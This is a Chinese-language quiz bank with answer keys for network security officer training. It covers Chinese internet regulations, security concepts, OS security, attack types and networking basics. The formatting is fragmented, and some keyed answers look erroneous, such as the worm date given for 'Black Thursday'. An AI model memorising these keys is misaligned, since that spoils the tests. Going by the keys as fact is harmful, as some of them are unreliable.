<p>互联网上网服务营业场所经营单位可以经营&#8212;&#8212;&#8212;-游戏(单选)</p>
<p>A</p>
<p>A.网络</p>
<p>B.全部</p>
<p>C.单机</p>
<p>D.非网络</p>
<ol start="12">
<li></li>
</ol>
<p>计算机信息系统的使用单位有下列行为之一的，由公安机关处以警告，并根据情况责令限期改正；逾期不改正的，对单位处以一千元以下罚款，对单位直接负责的主管人员和直接责任人员处以五百元以下的罚款&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.未对本单位计算机信息系统使用人员进行计算机病毒防治教育和培训的</p>
<p>B.未及时检测、清除计算机信息系统中的计算机病毒，对计算机信息系统造成危害的</p>
<p>C.未使用具有计算机信息系统安全专用产品销售许可证的计算机病毒防治产品，对计算机信息系统造成危害的</p>
<p>D.未建立本单位计算机病毒防治管理制度的；未采取计算机病毒安全技术防治措施的</p>
<ol start="13">
<li></li>
</ol>
<p>有下列行为&#8212;&#8212;&#8212;-之一的，由公安机关责令限期改正，给予警告，有违法所得的，没收违法所得；在规定的限期内未改正的，对单位的主管负责人员和其他直接责任人员可以并处五千元以下的罚款，对单位可以并处一万五千元以下的罚款；情节严重的，并可以给予六个月以内的停止联网、停机整顿的处罚，必要时可以建议原发证、审批机构吊销经营许可证或者取消联网资格。(多选)</p>
<p>ABCD</p>
<p>A.未采取安全技术保护措施的</p>
<p>B.未建立安全保护管理制度的</p>
<p>C.未提供安全保护管理所需信息、资料及数据文件，或者所提供内容不真实的</p>
<p>D.未对网络用户进行安全教育和培训的</p>
<ol start="14">
<li></li>
</ol>
<p>计算机信息系统的使用单位在计算机病毒防治工作中应当履行下列职责&#8212;&#8212;&#8212;-(多选)</p>
<p>ACD</p>
<p>A.对本单位计算机信息系统使用人员进行计算机病毒防治教育和培训；及时检测、清除计算机信息系统中的计算机病毒，并备有检测、清除的纪录</p>
<p>B.提供含有计算机病毒的文件进行研究</p>
<p>C.建立本单位的计算机病毒防治管理制度；采取计算机病毒安全技术防治措施</p>
<p>D.使用具有计算机信息系统安全专用产品销售许可证的计算机病毒防治产品；对因计算机病毒引起的计算机信息系统瘫痪、程序和数据严重破坏等重大事故及时向公安机关报告，并保护现场</p>
<ol start="15">
<li></li>
</ol>
<p>中学、小学校园周围&#8212;&#8212;&#8212;-范围内和居民住宅楼（院）内不得设立互联网上网服务营业场所(单选)</p>
<p>A</p>
<p>A.２００米</p>
<p>B.３００米</p>
<p>C.１００米</p>
<p>D.１５０米</p>
<ol start="16">
<li></li>
</ol>
<p>设立互联网上网服务营业场所经营单位，应当采用&#8212;&#8212;&#8212;-的组织形式(单选)</p>
<p>B</p>
<p>A.工商户</p>
<p>B.企业</p>
<p>C.个人合伙</p>
<p>D.个体工商户</p>
<ol start="17">
<li></li>
</ol>
<p>下列行为中，&#8212;&#8212;&#8212;-是《计算机信息网络国际联网安全保护管理办法》所不允许利用国际联网进行的活动。(多选)</p>
<p>ABCD</p>
<p>A.泄漏国家秘密的行为</p>
<p>B.侵犯公民的合法权益的行为</p>
<p>C.侵犯国家的、社会的、集体的利益的行为</p>
<p>D.危害国家安全的行为</p>
<ol start="18">
<li></li>
</ol>
<p>制定《计算机信息系统安全专用产品检测和销售许可证管理办法》是为了&#8212;&#8212;&#8212;-(多选)ACD</p>
<p>A.保证安全专用产品的安全功能</p>
<p>B.加强计算机行业的发展</p>
<p>C.维护计算机信息系统的安全</p>
<p>D.加强计算机信息系统安全专用产品的管理</p>
<ol start="19">
<li></li>
</ol>
<p>以下&#8212;&#8212;&#8212;-属于《计算机信息网络国际联网安全保护管理办法》中“安全保护管理制度”内容(多选)</p>
<p>ABCD</p>
<p>A.安全管理人员岗位工作职责</p>
<p>B.病毒检测和网络安全漏洞检测制度</p>
<p>C.违法案件报告和协助查处制度A</p>
<p>D.安全教育和培训制度</p>
<p>ABCD</p>
<ol start="20">
<li></li>
</ol>
<p>重点单位的重要岗位应配备&#8212;&#8212;&#8212;-名计算机安全员(单选)</p>
<p>B</p>
<p>A.１</p>
<p>B.２－４</p>
<p>C.２－３</p>
<p>D.１－２</p>
<p>B盘/第一章小测验正确答案</p>
<p>[计算机信息网络安全员培训（二）]</p>
<ol>
<li></li>
</ol>
<p>风险评估的三个要素(单选)</p>
<p>D</p>
<p>A.硬件，软件和人</p>
<p>B.组织，技术和信息</p>
<p>C.政策，结构和技术</p>
<p>D.资产，威胁和脆弱性</p>
<ol start="2">
<li></li>
</ol>
<p>国标&#8221;学科分类与代码&#8221;中安全科学技术是(单选)</p>
<p>B</p>
<p>A.安全科学技术是二级学科,代码620</p>
<p>B.安全科学技术是一级学科,代码620</p>
<p>C.安全科学技术是一级学科,代码110</p>
<p>D.安全科学技术是二级学科,代码110</p>
<ol start="3">
<li></li>
</ol>
<p>网络环境下的safety</p>
<p>是指(单选)</p>
<p>A</p>
<p>A.网络具有可靠性,容灾性,鲁棒性</p>
<p>B.网络的具有防止敌对势力攻击的能力</p>
<p>C.防黑客入侵,防病毒,窃密</p>
<p>D.网络具有可靠性,可防病毒,窃密和敌对势力攻击</p>
<ol start="4">
<li></li>
</ol>
<p>信息网络安全（风险）评估的方法(单选)</p>
<p>B</p>
<p>A.定量评估</p>
<p>B.定性评估与定量评估相结合</p>
<p>C.定点评估</p>
<p>D.定性评估</p>
<ol start="5">
<li></li>
</ol>
<p>安全的含义(单选)</p>
<p>A</p>
<p>A.security(安全)和safety（可靠）</p>
<p>B.safety（可靠）</p>
<p>C.risk(风险)</p>
<p>D.security(安全)</p>
<ol start="6">
<li></li>
</ol>
<p>SQL</p>
<p>杀手蠕虫病毒发作的特征是什么(单选)</p>
<p>A</p>
<p>A.大量消耗网络带宽</p>
<p>B.破坏PC游戏程序</p>
<p>C.攻击个人PC终端</p>
<p>D.攻击手机网络</p>
<ol start="7">
<li></li>
</ol>
<p>人对网络的依赖性最高的时代(单选)</p>
<p>C</p>
<p>A.PC时代</p>
<p>B.专网时代</p>
<p>C.多网合一时代</p>
<p>D.主机时代</p>
<ol start="8">
<li></li>
</ol>
<p>鲁棒性,可靠性的金三角(单选)</p>
<p>B</p>
<p>A.多样性,保密性和完整性</p>
<p>B.多样性,容余性和模化性</p>
<p>C.保密性,完整性和可获得性</p>
<p>D.可靠性,保密性和完整性</p>
<ol start="9">
<li></li>
</ol>
<p>我国的计算机年犯罪率的增长是(单选)</p>
<p>A</p>
<p>A.60%</p>
<p>B.160%</p>
<p>C.10%</p>
<p>D.300%</p>
<ol start="10">
<li></li>
</ol>
<p>网络安全在多网合一时代的脆弱性体现在(单选)</p>
<p>C</p>
<p>A.软件的脆弱性</p>
<p>B.网络的脆弱性</p>
<p>C.管理的脆弱性</p>
<p>D.应用的脆弱性</p>
<ol start="12">
<li></li>
</ol>
<p>信息安全的金三角(单选)</p>
<p>A</p>
<p>A.保密性,完整性和可获得性</p>
<p>B.多样性,保密性和完整性</p>
<p>C.可靠性,保密性和完整性</p>
<p>D.多样性,容余性和模化性</p>
<ol start="13">
<li></li>
</ol>
<p>信息安全风险缺口是指(单选)</p>
<p>A</p>
<p><a rel="nofollow" href="http://a.it/">A.IT</a></p>
<p>的发展与安全投入，安全意识和安全手段的不平衡</p>
<p>B.信息化中，信息不足产生的漏洞</p>
<p>C.</p>
<p>计算中心的火灾隐患</p>
<p>D.计算机网络运行，维护的漏洞</p>
<ol start="14">
<li></li>
</ol>
<p>当今IT</p>
<p>的发展与安全投入，安全意识和安全手段之间形成(单选)</p>
<p>A</p>
<p>A.安全风险缺口</p>
<p>B.管理方式的变革</p>
<p>C.管理方式的缺口</p>
<p>D.安全风险屏障</p>
<ol start="15">
<li></li>
</ol>
<p>PDR模型与访问控制的主要区别(单选)</p>
<p>B</p>
<p>A.PDR采用定性评估与定量评估相结合</p>
<p>B.PDR把安全对象看作一个整体</p>
<p>C.PDR的关键因素是人</p>
<p>D.PDR作为系统保护的第一道防线</p>
<ol start="16">
<li></li>
</ol>
<p>信息安全中PDR模型的关键因素是(单选)</p>
<p>D</p>
<p>A.客体</p>
<p>B.模型</p>
<p>C.技术</p>
<p>D.人</p>
<ol start="17">
<li></li>
</ol>
<p>网络环境下的safety</p>
<p>是指(单选)</p>
<p>A</p>
<p>A.网络具有可靠性,容灾性,鲁棒性</p>
<p>B.防黑客入侵,防病毒,窃密</p>
<p>C.网络具有可靠性,可防病毒,窃密和敌对势力攻击</p>
<p>D.网络的具有防止敌对势力攻击的能力</p>
<ol start="18">
<li></li>
</ol>
<p>网络环境下的security是指(单选)</p>
<p>B</p>
<p>A.网络具有可靠性,容灾性,鲁棒性</p>
<p>B.防黑客入侵,防病毒,窃密和敌对势力攻击</p>
<p>C.网络的具有防止敌对势力攻击的能力</p>
<p>D.网络具有可靠性,可防病毒,</p>
<ol start="19">
<li></li>
</ol>
<p>窃密和敌对势力攻击网络攻击的种类(单选)</p>
<p>D</p>
<p>A.硬件攻击，软件攻击</p>
<p>B.黑客攻击，病毒攻击</p>
<p>C.物理攻击，黑客攻击，病毒攻击</p>
<p>D.物理攻击，语法攻击，语义攻击</p>
<p>第二章小测验正确答案</p>
<p>[计算机信息网络安全员培训（二）]</p>
<ol>
<li></li>
</ol>
<p>操作系统在各种应用软件之上为计算机使用者提供统一的人机接口(单选)</p>
<p>A</p>
<p>A.错</p>
<p>B.对</p>
<ol start="2">
<li></li>
</ol>
<p>操作系统包含的具体功能有哪些？ABCD</p>
<p>A.I/O处理</p>
<p>B.作业协调</p>
<p>C.安全功能</p>
<p>D.资源管理</p>
<ol start="3">
<li></li>
</ol>
<p>在Winodws</p>
<p>NT操作系统中每一个对象（如文件，用户等）都具备多个SID(单选)</p>
<p>B</p>
<p>A.对</p>
<p>B.错</p>
<ol start="4">
<li></li>
</ol>
<p>下面哪个功能属于操作系统中的中断处理功能(单选)</p>
<p>C</p>
<p>A.控制用户的作业排序和运行</p>
<p>B.保护系统程序和作业，禁止不合要求的对程序和数据的访问</p>
<p>C.实现主机和外设的并行处理以及异常情况的处理</p>
<p>D.对CPU,内存，外设以及各类程序和数据进行管理</p>
<ol start="5">
<li></li>
</ol>
<p>网络操作系统应当提供哪些安全保障(多选)</p>
<p>ABCDE</p>
<p>A.数据保密性(Data</p>
<p>Confidentiality)</p>
<p>B.授权(Authorization)</p>
<p>C.验证(Authentication)</p>
<p>D.数据一致性(Data</p>
<p>Integrity)</p>
<p>E.数据的不可否认性(Data</p>
<p>Nonrepudiation)</p>
<ol start="6">
<li></li>
</ol>
<p>TCSEC是美国的计算机安全评估机构和安全标准制定机构(单选)</p>
<p>B</p>
<p>A.错</p>
<p>B.对</p>
<ol start="7">
<li></li>
</ol>
<p>下面哪一项情景符合Web服务器的功能(单选)</p>
<p>B</p>
<p>A.用ICQ或QQ和朋友聊天</p>
<p>B.上网浏览网页</p>
<p>C.网上购物</p>
<p>D.从Internet下载或上传文件</p>
<ol start="8">
<li></li>
</ol>
<p>下面哪个功能属于操作系统中的错误处理功能(单选)</p>
<p>C</p>
<p>A.对CPU,内存，外设以及各类程序和数据进行管理</p>
<p>B.实现主机和外设的并行处理以及异常情况的处理</p>
<p>C.以合理的方式处理错误事件，而不至于影响其他程序的正常运行</p>
<p>D.控制用户的作业排序和运行</p>
<ol start="9">
<li></li>
</ol>
<p>下面哪个功能属于操作系统中的资源管理功能(单选)</p>
<p>A</p>
<p>A.对CPU,内存，外设以及各类程序和数据进行管理</p>
<p>B.实现主机和外设的并行处理以及异常情况的处理</p>
<p>C.控制用户的作业排序和运行</p>
<p>D.处理输入/输出事务</p>
<ol start="10">
<li></li>
</ol>
<p>SANS在过去两个年度（2001,2002）评出的最严重或说最常见的安全漏洞是什么？(单选)</p>
<p>A</p>
<p>A.用户在安全系统时采用系统的默认（Default）安装形式，而不做必要的安全配置</p>
<p>B.数据和系统备份不完整</p>
<p>C.防火墙上开放大量不必要的端口</p>
<p>D.</p>
<ol start="11">
<li></li>
</ol>
<p>以下操作系统中，哪种不属于网络操作系统(单选)</p>
<p>B</p>
<p>A.Windows</p>
<p>2000</p>
<p>B.Windows</p>
<p>XP</p>
<p>C.Linux</p>
<p>D.Windows</p>
<p>NT</p>
<ol start="12">
<li></li>
</ol>
<p>严格的口令策略应当包含哪些要素(多选)</p>
<p>ABC</p>
<p>A.同时包含数字，字母和特殊字符</p>
<p>B.系统强制要求定期更改口令</p>
<p>C.满足一定的长度，比如8位以上</p>
<p>D.用户可以设置空口令</p>
<ol start="13">
<li></li>
</ol>
<p>下面哪个功能属于操作系统中的日志记录功能(单选)</p>
<p>A</p>
<p>A.对计算机用户访问系统和资源的情况进行记录</p>
<p>B.保护系统程序和作业，禁止不合要求的对程序和数据的访问</p>
<p>C.以合理的方式处理错误事件，而不至于影响其他程序的正常运行</p>
<p>D.控制用户的作业排序和运行</p>
<ol start="14">
<li></li>
</ol>
<p>下面哪一个情景属于审计（Audit）(单选)</p>
<p>C</p>
<p>A.用户在网络上共享了自己编写的一份Office文档，并设定哪些用户可以阅读，哪些用户可以修改</p>
<p>B.用户依照系统提示输入用户名和口令</p>
<p>C.某个人尝试登录到你的计算机中，但是口令输入的不对，系统提示口令错误，并将这次失</p>
<p>败的登录过程纪录在系统日志中</p>
<p>D.用户使用加密软件对自己编写的Office文档进行加密，以阻止其他人得到这份拷贝后看到文档中的内容</p>
<ol start="15">
<li></li>
</ol>
<p>在设计系统安全策略时要首先评估可能受到的安全威胁(单选)</p>
<p>B</p>
<p>A.错</p>
<p>B.对</p>
<ol start="16">
<li></li>
</ol>
<p>Windows</p>
<p>NT中用户登录域的口令是以明文方式传输的(单选)</p>
<p>A</p>
<p>A.错</p>
<p>B.对</p>
<ol start="17">
<li></li>
</ol>
<p>造成操作系统安全漏洞的原因(多选)</p>
<p>ABC</p>
<p>A.不安全的编程语言</p>
<p>B.不安全的编程习惯</p>
<p>C.考虑不周的架构设计</p>
<ol start="18">
<li></li>
</ol>
<p>Windows</p>
<p>NT域(Domain)中的用户帐号和口令信息存储在&#8221;域控制器&#8221;中(单选)</p>
<p>B</p>
<p>A.错</p>
<p>B.对</p>
<ol start="19">
<li></li>
</ol>
<p>下列应用哪些属于网络应用(多选)</p>
<p>ABCDEF</p>
<p>A.网上银行</p>
<p>B.Web浏览</p>
<p>C.即时通讯</p>
<p>D.email电子邮件</p>
<p>E.FTP文件传输</p>
<p>F.电子商务</p>
<ol start="20">
<li></li>
</ol>
<p>下面哪个功能属于操作系统中的I/O处理功能(单选)</p>
<p>B</p>
<p>A.保护系统程序和作业，禁止不合要求的对程序和数据的访问</p>
<p>B.处理输入/输出事务</p>
<p>C.对计算机用户访问系统和资源的情况进行记录</p>
<p>D.以合理的方式处理错误事件，而不至于影响其他程序的正常运行</p>
<p>?</p>
<p>下面哪个操作系统符合C2级安全标准(单选)</p>
<p>D</p>
<p>A.Windows</p>
<p>98</p>
<p>B.MS-DOS</p>
<p>C.Windows</p>
<p>3.1</p>
<p>D.Windows</p>
<p>NT</p>
<p>?</p>
<p>下面哪种编程语言因为灵活和功能强大曾经被广泛使用，但因其本身对安全问题考虑不周，而造成了现在很多软件的安全漏洞(单选)</p>
<p>B</p>
<p>A.FORTRAN</p>
<p>B.C/C++</p>
<p>C.Cobol</p>
<p>D.Java</p>
<p>?</p>
<p>下面哪些系统属于Web服务器(多选)</p>
<p>CD</p>
<p>A.QQ</p>
<p>B.Lotus</p>
<p>Notes</p>
<p>C.IIS</p>
<p>D.Apache</p>
<p>?</p>
<p>造成操作系统安全漏洞的原因(多选)</p>
<p>ABC</p>
<p>A.考虑不周的架构设计</p>
<p>B.不安全的编程习惯</p>
<p>C.不安全的编程语言</p>
<p>?</p>
<p>Windows</p>
<p>NT提供的分布式安全环境又被称为(单选)</p>
<p>B</p>
<p>A.对等网</p>
<p>B.域（Domain）</p>
<p>C.工作组</p>
<p>D.安全网</p>
<p>?</p>
<p>系统安全的责任在于IT技术人员，最终用户不需要了解安全问题(单选)</p>
<p>B</p>
<p>A.对</p>
<p>B.错</p>
<p>?</p>
<p>安装系统后应当根据厂商或安全咨询机构的建议对系统进行必要的安全配置(单选)</p>
<p>B</p>
<p>A.错</p>
<p>B.对</p>
<p>?</p>
<p>从系统整体看，下述那些问题属于系统安全漏洞(多选)</p>
<p>ABCDE</p>
<p>A.人为错误</p>
<p>B.缺少足够的安全知识</p>
<p>C.产品有Bugs</p>
<p>D.产品缺少安全功能</p>
<p>E.缺少针对安全的系统设计</p>
<p>?</p>
<p>网络操作系统应当提供哪些安全保障(多选)</p>
<p>ABCD</p>
<p>A.数据保密性(Data</p>
<p>Confidentiality)</p>
<p>B.数据一致性(Data</p>
<p>Integrity)</p>
<p>C.数据的不可否认性(Data</p>
<p>Nonrepudiation)</p>
<p>D.验证(Authentication)</p>
<p>E.授权(Authorization)</p>
<p>?</p>
<p>下列应用哪些属于网络应用(多选)</p>
<p>ABCDEF</p>
<p>A.email电子邮件</p>
<p>B.Web浏览</p>
<p>C.即时通讯</p>
<p>D.电子商务</p>
<p>E.FTP文件传输</p>
<p>F.网上银行</p>
<p>?</p>
<p>网络操作系统用于对连接在同一物理网络中的多台计算机及其设备之间的通讯进行有效的监护和管理(单选)</p>
<p>A</p>
<p>A.对</p>
<p>B.错</p>
<p>?</p>
<p>按用途和设计划分，操作系统有哪些种类？(多选)</p>
<p>ABCD</p>
<p>A.网络操作系统</p>
<p>B.实时操作系统</p>
<p>C.分时操作系统</p>
<p>D.批处理操作系统</p>
<p>?</p>
<p>下面哪一项情景符合Web服务器的功能(单选)</p>
<p>D</p>
<p>A.用ICQ或QQ和朋友聊天</p>
<p>B.网上购物</p>
<p>C.从Internet下载或上传文件</p>
<p>D.上网浏览网页</p>
<p>?</p>
<p>下面哪一个情景属于身份验证（Authentication）过程(单选)</p>
<p>A</p>
<p>A.用户依照系统提示输入用户名和口令</p>
<p>B.某个人尝试登录到你的计算机中，但是口令输入的不对，系统提示口令错误，并将这次失败的登录过程纪录在系统日志中</p>
<p>C.用户在网络上共享了自己编写的一份Office文档，并设定哪些用户可以阅读，哪些用户可以修改</p>
<p>D.用户使用加密软件对自己编写的Office文档进行加密，以阻止其他人得到这份拷贝后看到文档中的内容</p>
<p>?</p>
<p>Windows</p>
<p>NT域(Domain)中的用户帐号和口令信息存储在&#8221;域控制器&#8221;中(单选)</p>
<p>A</p>
<p>A.对</p>
<p>B.错</p>
<p>?</p>
<p>Windows</p>
<p>NT的&#8221;域&#8221;控制机制具备哪些安全特性？(多选)</p>
<p>ACD</p>
<p>A.访问控制</p>
<p>B.数据通讯的加密</p>
<p>C.审计(日志)</p>
<p>D.用户身份验证</p>
<p>?</p>
<p>下面哪个操作系统提供分布式安全控制机制(单选)</p>
<p>C</p>
<p>A.Windows</p>
<p>3.1</p>
<p>B.Windows</p>
<p>98</p>
<p>C.Windows</p>
<p>NT</p>
<p>D.MS-DOS</p>
<p>?</p>
<p>下面哪个功能属于操作系统中的错误处理功能(单选)</p>
<p>C</p>
<p>A.实现主机和外设的并行处理以及异常情况的处理</p>
<p>B.对CPU,内存，外设以及各类程序和数据进行管理</p>
<p>C.以合理的方式处理错误事件，而不至于影响其他程序的正常运行</p>
<p>D.控制用户的作业排序和运行</p>
<p>?</p>
<p>Linux操作系统具有和Unix系统相近的使用和管理方式(单选)</p>
<p>A</p>
<p>A.对</p>
<p>B.错</p>
<p>?</p>
<p>在Winodws</p>
<p>NT操作系统中每一个对象（如文件，用户等）都具备多个SID(单选)</p>
<p>A</p>
<p>A.错</p>
<p>B.对</p>
<p>第二章小测验正确答案</p>
<p>[计算机信息网络安全员培训（二）]</p>
<p>1.DOS攻击的Smurf攻击是利用____进行攻击(单选)</p>
<p>C</p>
<p>A.通讯握手过程问题</p>
<p>B.中间代理</p>
<p>C.其他网络</p>
<ol start="2">
<li></li>
</ol>
<p>全国首例计算机入侵银行系统是通过(单选)</p>
<p>B</p>
<p>A.通过内部系统进行攻击</p>
<p>B.安装无限MODEM进行攻击</p>
<p>C.通过搭线进行攻击</p>
<p>3.从统计的情况看，造成危害最大的黑客攻击是：(单选)</p>
<p>C</p>
<p>A.蠕虫攻击</p>
<p>B.漏洞攻击</p>
<p>C.病毒攻击</p>
<p>4.1433端口漏洞是(单选)</p>
<p>C</p>
<p>A.数据库漏洞</p>
<p>B.输入法漏洞</p>
<p>C.操作系统漏洞</p>
<ol start="5">
<li></li>
</ol>
<p>跨客（CRACKER）进入系统的目的是：(单选)</p>
<p>C</p>
<p>A.进行系统维护</p>
<p>B.主要处于好奇</p>
<p>C.主要是为了窃取和破坏信息资源</p>
<ol start="6">
<li></li>
</ol>
<p>病毒攻击是危害最大、影响最广、发展最快的攻击技术(单选)</p>
<p>A</p>
<p>A.是</p>
<p>B.不是</p>
<ol start="7">
<li></li>
</ol>
<p>据调查大约有15%的人使用单词或人名做密码(单选)</p>
<p>B</p>
<p>A.不是</p>
<p>B.是</p>
<ol start="8">
<li></li>
</ol>
<p>NMAP是(单选)</p>
<p>B</p>
<p>A.防范工具</p>
<p>B.扫描工具</p>
<p>C.网络协议</p>
<ol start="9">
<li></li>
</ol>
<p>黑色星期四&#8221;是因有人通过BELL实验室与Internet连接的有漏洞的机器上放置了一个蠕虫程序而引起网络灾难得名的(单选)</p>
<p>A</p>
<p>A.不是</p>
<p>B.是</p>
<ol start="10">
<li></li>
</ol>
<p>在信息战中中立国的体现要比非信息战简单(单选)</p>
<p>B</p>
<p>A.是</p>
<p>B.不是</p>
<ol start="11">
<li></li>
</ol>
<p>大家所认为的对Internet安全技术进行研究是从_______时候开始的(单选)</p>
<p>C</p>
<p>A.第一个计算机病毒出现</p>
<p>B.Internet</p>
<p>诞生</p>
<p>C.黑色星期四</p>
<ol start="12">
<li></li>
</ol>
<p>黑色星期四是指：(单选)</p>
<p>B</p>
<p>A.1999年6月24日星期四</p>
<p>B.1998年11月3日星期四</p>
<p>C.2000年4月13日星期四</p>
<ol start="13">
<li></li>
</ol>
<p>DDOS攻击是利用_____进行攻击(单选)</p>
<p>B</p>
<p>A.通讯握手过程问题</p>
<p>B.中间代理</p>
<p>C.其他网络</p>
<ol start="14">
<li></li>
</ol>
<p>网络的发展促进了人们的交流，同时带来了相应的安全问题(单选)</p>
<p>A</p>
<p>A.是</p>
<p>B.不是</p>
<ol start="15">
<li></li>
</ol>
<p>Unicode是否可以穿透防火墙(单选)</p>
<p>A</p>
<p>A.可以</p>
<p>B.不可以</p>
<ol start="16">
<li></li>
</ol>
<p>商业间谍攻击计算机系统的主要目的是(单选)</p>
<p>A</p>
<p>A.窃取商业信息</p>
<p>B.窃取政治信息</p>
<p>C.窃取技术信息</p>
<ol start="17">
<li></li>
</ol>
<p>可能给系统造成影响或者破坏的人包括：(单选)</p>
<p>B</p>
<p>A.只有黑客</p>
<p>B.所有网络与信息系统使用者</p>
<p>C.只有跨客</p>
<ol start="18">
<li></li>
</ol>
<p>本课程中所讨论的黑客分为：(单选)</p>
<p>A</p>
<p>A.5类</p>
<p>B.6类</p>
<p>C.4类</p>
<ol start="19">
<li></li>
</ol>
<p>具有政治目的的黑客只对政府的网络与信息资源造成危害(单选)</p>
<p>A</p>
<p>A.不是</p>
<p>B.是</p>
<ol start="20">
<li></li>
</ol>
<p>通常一个三个字符的口令破解需要(单选)</p>
<p>C</p>
<p>A.18毫秒</p>
<p>B.18分</p>
<p>C.18</p>
<p>秒</p>
<ol start="21">
<li></li>
</ol>
<p>邮件炸弹攻击主要是(单选)</p>
<p>答对</p>
<p>A.破坏被攻击者邮件客户端</p>
<p>B.破坏被攻击者邮件服务器</p>
<p>C.添满被攻击者邮箱</p>
<p>C</p>
<ol start="22">
<li></li>
</ol>
<p>跨客（CRACKER）是:(单选)</p>
<p>答对</p>
<p>A.网络闲逛者</p>
<p>B.网络与系统的入侵</p>
<p>C.犯罪分子</p>
<p>B</p>
<ol start="23">
<li></li>
</ol>
<p>通过口令使用习惯调查发现有大约___%的人使用的口令长度低于5个字符的(单选)</p>
<p>A</p>
<p>A.51.5</p>
<p>B.52.5</p>
<p>C.50.5</p>
<ol start="24">
<li></li>
</ol>
<p>缓冲区溢出(单选)</p>
<p>C</p>
<p>A.只是应用层漏洞</p>
<p>B.只是系统层漏洞</p>
<p>C.既是系统层漏洞也是应用层漏洞</p>
<ol start="25">
<li></li>
</ol>
<p>逻辑炸弹通常是通过(单选)</p>
<p>A</p>
<p>A.指定条件或外来触发启动执行，实施破坏</p>
<p>B.通过管理员控制启动执行，实施破坏</p>
<p>C.必须远程控制启动执行，实施破坏</p>
<ol start="26">
<li></li>
</ol>
<p>黑客是：(单选)</p>
<p>C</p>
<p>A.犯罪分子</p>
<p>B.网络与系统入侵者</p>
<p>C.网络闲逛者</p>
<ol start="27">
<li></li>
</ol>
<p>1996年上海某寻呼台发生的逻辑炸弹事件，造事者被判&#8221;情节轻微，无罪释放&#8221;是因为(单选)</p>
<p>B</p>
<p>A.没有造成破坏</p>
<p>B.法律不健全</p>
<p>C.证据不足</p>
<ol start="28">
<li></li>
</ol>
<p>DOS攻击的Syn</p>
<p>flood攻击是利用______进行攻击(单选)</p>
<p>A</p>
<p>A.通讯握手过程问题</p>
<p>B.其他网络</p>
<p>C.中间代理</p>
<ol start="29">
<li></li>
</ol>
<p>信息战的战争危害较常规战争的危害(单选)</p>
<p>A</p>
<p>A.不一定</p>
<p>B.轻</p>
<p>C.重</p>
<ol start="30">
<li></li>
</ol>
<p>口令攻击的主要目的是(单选)</p>
<p>B</p>
<p>A.仅获取口令没有用途</p>
<p>B.获取口令进入系统</p>
<p>C.获取口令破坏系统</p>
<p>C盘/第一章小测验正确答案</p>
<p>[计算机信息网络安全员培训（一）]</p>
<p>(1)一封电子邮件可以拆分成多个IP包，每个IP包可以沿不同的路径到达目的地。(单选)</p>
<p>B</p>
<p>A.错</p>
<p>B.对</p>
<p>(2)计算机网络最早出现在哪个年代(单选)</p>
<p>A</p>
<p>A.20世纪60年代</p>
<p>B.20世纪90年代</p>
<p>C.20世纪50年代</p>
<p>D.20世纪80年代</p>
<p>(3)关于TCP</p>
<p>和UDP</p>
<p>协议区别的描述中，哪句话是错误的？(单选)</p>
<p>D</p>
<p>A.TCP</p>
<p>协议可靠性高，UDP则需要应用层保证数据传输的可靠性</p>
<p>B.TCP协议是面向连接的，而UDP是无连接的</p>
<p>C.UDP</p>
<p>协议比TCP</p>
<p>协议的安全性差</p>
<p>D.UDP</p>
<p>协议要求对发出据的每个数据包都要确认</p>
<p>(4)以下对Internet特征的描述哪个是错误的？(单选)</p>
<p>B</p>
<p>A.Internet使用TCP/IP协议进行通信</p>
<p>B.Internet</p>
<p>可以保障服务质量</p>
<p>C.Internet使用分组交换技术</p>
<p>D.Internet是世界上最大的计算机网络</p>
<p>(5)ATM</p>
<p>技术领先于TCP/IP技术，即将取代IP技术，实现语音、视频、数据传输网络的三网合一(单选)</p>
<p>A</p>
<p>A.错</p>
<p>B.对</p>
<p>(6)OSI网络参考模型中第七层协议的名称是什么？(单选)</p>
<p>B</p>
<p>A.网络层</p>
<p>B.应用层</p>
<p>C.会话层</p>
<p>D.传输层</p>
<p>(7)Code</p>
<p>Red爆发于2001年7月，利用微软的IIS漏洞在Web服务器之间传播。针对这一漏洞，微软早在2001年三月就发布了相关的补丁。如果今天服务器仍然感染Code</p>
<p>Red，那么属于哪个阶段的问题?(单选)</p>
<p>A</p>
<p>A.系统管理员维护阶段的失误</p>
<p>B.最终用户使用阶段的失误</p>
<p>C.微软公司软件的实现阶段的失误</p>
<p>D.微软公司软件的设计阶段的失误</p>
<p>(8)以下哪种技术用来描述异步传输模式（ATM）？(单选)</p>
<p>A</p>
<p>A.信元交换；</p>
<p>B.电路交换；</p>
<p>C.报文交换；</p>
<p>D.无连接服务</p>
<p>(9)以下对Internet</p>
<p>路由器功能的描述中，哪些是错误的？(单选)</p>
<p>A</p>
<p>A.为源和目的之间的通信建立一条虚电路</p>
<p>B.一般不检查IP包的源地址的有效性</p>
<p>C.通过路由协议学习网络的拓扑结构</p>
<p>D.根据目标地址寻找路径</p>
<p>(10)路由器在转发IP分组时，一般不检查IP分组的源地址，因此可以伪造IP分组的源地址进行攻击，使得网络管理员无法追踪。(单选)</p>
<p>D</p>
<p>A.</p>
<p>B.错</p>
<p>C.</p>
<p>D.对</p>
<p>(11)网络管理使用哪种协议？(单选)</p>
<p>A</p>
<p>A.SNMP</p>
<p>B.TCP</p>
<p>C.FTP</p>
<p>D.SMTP</p>
<p>(12)电子邮件使用那种协议？(单选)</p>
<p>D</p>
<p>A.SNMP</p>
<p>B.FTP</p>
<p>C.HTTP</p>
<p>D.SMTP</p>
<p>(13)Internet面临的挑战中，哪个是错误的？(单选)</p>
<p>D</p>
<p>A.Internet</p>
<p>缺乏服务质量控制</p>
<p>B.Internet</p>
<p>安全性太差</p>
<p>C.Internet</p>
<p>地址空间不够用</p>
<p>D.Internet</p>
<p>用户太少</p>
<p>(14)域名服务系统（DNS）的功能是(单选)</p>
<p>D</p>
<p>A.完成主机名和IP地址之间的转换</p>
<p>B.完成域名和电子邮件地址之间的转换</p>
<p>C.完成域名和网卡地址之间的转换</p>
<p>D.完成域名和IP地址之间的转换</p>
<p>(15)关于80年代Mirros</p>
<p>蠕虫危害的描述，哪句话是错误的？(单选)</p>
<p>C</p>
<p>A.大量的流量堵塞了网络，导致网络瘫痪</p>
<p>B.占用了大量的计算机处理器的时间，导致拒绝服务</p>
<p>C.窃取用户的机密信息，破坏计算机数据文件</p>
<p>D.该蠕虫利用Unix系统上的漏洞传播</p>
<p>(16)最早的计算机网络与传统的通信网络最大的区别是什么？(单选)</p>
<p>B</p>
<p>A.计算机网络采用了电路交换技术。</p>
<p>B.计算机网络采用了分组交换技术。</p>
<p>C.计算机网络带宽和速度大大提高。</p>
